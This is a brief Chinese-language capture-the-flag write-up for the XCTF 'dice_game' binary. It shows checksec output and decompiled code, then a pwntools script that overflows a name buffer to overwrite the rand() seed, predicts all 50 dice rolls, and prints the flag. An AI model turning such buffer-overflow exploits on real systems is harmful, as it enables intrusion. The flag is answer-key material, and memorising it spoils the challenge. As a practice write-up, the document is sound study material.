老规矩，查看保护

```
fish@ubuntu:~/Desktop/XCTF$ checksec dice_game
[*] '/home/fish/Desktop/XCTF/dice_game'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

丢进 IDA 查看漏洞：

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);
  if ( v6 <= 49 )
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8);
    v5 = sub_A20();
    fflush(stdout);
    if ( v5 != 1 )
      break;
    if ( v8 == 50 )
    {
      sub_B28(buf);
      break;
    }
    ++v8;
  }
  puts("Bye bye!");
  return 0LL;
}
```

显然 v6 可以溢出覆盖掉随机数种子，然后就可以按照随机数种输入了

```python
from pwn import *
from ctypes import *

r=remote('111.198.29.45',36404)

libc=cdll.LoadLibrary('libc.so.6')

payload='a'*0x40+p64(0)

r.sendline(payload)

libc.srand(0)

for i in range(50):
        r.recvuntil('Give me the point(1~6):')

        r.sendline(str(libc.rand()%6+1))

r.interactive()
```

得到 flag：

```
fish@ubuntu:~/Desktop/XCTF$ python dice_game_pwn.py
[+] Opening connection to 111.198.29.45 on port 36404: Done
[*] Switching to interactive mode
 You win.
Congrats aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cyberpeace{9e46feb2b0d0e6b6bb2c934d19583c3e}

Bye bye!
[*] Got EOF while reading in interactive
$ ls
$
```